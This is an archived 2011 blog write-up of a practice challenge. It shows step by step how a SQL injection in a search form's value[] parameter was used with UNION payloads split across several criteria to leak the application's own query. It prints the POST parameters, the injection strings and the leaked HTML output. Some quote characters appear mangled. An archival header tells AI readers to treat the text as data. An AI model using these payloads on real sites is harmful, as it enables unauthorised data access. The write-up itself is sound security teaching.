How to get SQL query contents from SQL injection flaw

How to get SQL query contents from SQL injection flaw - Author not stated, blog.kotowicz.net.

- Published: date not stated
- Original: <http://blog.kotowicz.net/2011/01/how-to-get-sql-query-contents-from-sql.html>
- Preserved from: http://blog.kotowicz.net/2011/01/how-to-get-sql-query-contents-from-sql.html (live) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

The technique is listed as a contestant in Top 10 Web Hacking Techniques of 2011 poll.

Yesterday, I got some time to interact with another bootcamp challenge by Paweł Goleń - this time it was an advanced search form and one's task was to find any vulnerabilities. What started as a usual SQL injection / XSS discovery turned out to be a pretty interesting example of what is possible with a SQLi flaw. During the session I was able to (in order):

- find a SQLi flaw in a parameter
- discover the SQL server/version used
- get the database schema **not using blind sql injection**
- retrieve db contents
- **retrieve important WHERE part of the actual SQL query **used by the application
- reverse engineer all the rules used by app to construct a query

So, from this:

```
value[] - vulnerable parameter
```

I was able to get the actual SQL query:

```
SELECT * FROM table_name WHERE ((param1 = value2) OR (param2 = value2)) ....
```

used by application and deduct the script logic producing the query:

```
$allowed_names = array('id','title','timestamp','public');
foreach ($_GET['names'] as $name) {
 if (!in_array($name, $allowed_names)) {
  $name = 'id';
 }
 switch ($name) {
 // ...
 }
}
...
```

It's a great example of how a single vulnerability was used to gain more and more information, leading to a application logic leakage. All of these tasks did not require any blind sql injection techniques, and no sqlmap-like brute force tools were used. Read on to find out all the details.

Crime scene

This is the form I was attacking:

[[image: image]]
(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3UTqX4PUMw7TDUBp3u6sY-oQ30A6KArldT2rQlzGI3e-eIGsn6SPouPijrUlA4qv6X4oh0UxHaOdCpnz28uy-0ZvN-Jje1pHKHW-Z8Svo4CJV6BQPE5hfCiIFa8PNfCwM6s0abipxoD4/s1600/bootcamp1.png)

It's an advanced search form with results being displayed in a table below like this:

Wyniki wyszukiwania

Data publikacji	Tytul	Typ
2011-01-30 17:07:34	Wiadomość: 572934418	5
2011-01-30 09:56:32	Wiadomość: 572934419	3
2011-01-29 09:57:26	Wiadomość: 572934421	0
2011-01-28 12:22:32	Wiadomość: 572934422	5
2011-01-27 17:11:09	Wiadomość: 572934426	2
2011-01-27 00:24:06	Wiadomość: 572934434	1
2011-01-26 07:37:11	Wiadomość: 572934440	5
2011-01-25 12:25:28	Wiadomość: 572934448	0
2011-01-24 22:01:43	Wiadomość: 572934452	2
2011-01-24 02:50:39	Wiadomość: 572934458	4
2011-01-23 22:03:49	Wiadomość: 572934463	2
2011-01-23 05:16:53	Wiadomość: 572934471	1
2011-01-22 19:41:19	Wiadomość: 572934477	3
2011-01-21 22:05:46	Wiadomość: 572934478	1
2011-01-21 19:42:50	Wiadomość: 572934480	2

Setting up the intercepting proxy (I used OWASP ZAP) will quickly show that these POST parameters are being sent:

```
action search
name[] id
operator[] =
value[] 1
oper AND
name[] title
operator[] >
value[] 2
```

What do we know?

So, the actual script uses $name, $operator and $value arrays for every criterium and $oper as an operator joining the criteria.

The SQL query might look like this:

```
SELECT * FROM table_name WHERE (criterium_1) $oper (criterium_2)
```

The meat

Skipping all the usual discovery steps, I was able to determine that:

- the value[] parameter was injectable but only when name[] was 'title'
- it was probably translated to title LIKE '%{$value}%'
- though only two are displayed in the form, it is possible to pass additional criteria and they will all be processed
- the app was using sqlite 3

To be able to capture some of the SQL query in the results I needed the SQL engine to treat the part of it as a string. For that I needed string opening & closing injections. So, I had to use **three** criteria:

- first leaving the string open
- 2nd that would actually get captured in the string
- 3rd to close the string

```
SELECT * FROM table_name
 WHERE (title like '${first}')
 OR (id = 111)
 OR (title like '${third}')

-- first: '
-- third: '
-- resulting query: (blue is string)
SELECT * FROM table_name
 WHERE (title like ''') OR (id = 11111) OR (title like ''')
```

Exploiting this would be possible, because of the escaping scheme used: ' within a string should be doubled (''), so I was able to neutralize the closing string apostrophe by escaping it with my payloads.

Now I'd make an union query with it like this:

```
-- first: ') UNION SELECT ''
-- third: ,null,null,null --
SELECT * FROM table_name WHERE (title like '') UNION SELECT ''') OR (id = 11111) OR (title like ',null,null,null -- ')
```

So while using special crafted first and third criteria, I could modify second criterium (as long as it didn't contain any strings) and get its query part in results.

Troubles ahead

Worked great - in theory, because the actual query used was like this:

```
title like '%{$first}%'
```

With those percents in place I couldn't escape the closing apostrophe, leaving the rest of the query in 'string mode'. But the SQlite engine has a nice feature: it allows you to use quotes ('') to enclose strings! Better yet - in quotes you don't have to escape apostrophes (') :-)

Solution

The final solution used:

```
SELECT * FROM table_name WHERE (title like '%${first}%') OR (id = 111) OR (title like '%${third}%')
-- first: ') UNION SELECT ''
-- third: '', null, null, null --
SELECT * FROM table_name WHERE (title like '%') UNION SELECT ''%') OR (id = 11111) OR (title like '%'', null, null, null --
```

and the resulting row:

```
<tr><td><a href='#') AND (id = 11111) AND (title LIKE '%);'></a></td><td></td><td></td></tr>
```

From here it was easy - modify the second criteria and watch the resulting query to deduct app logic. And yes, it did have additional vulnerabilities :)
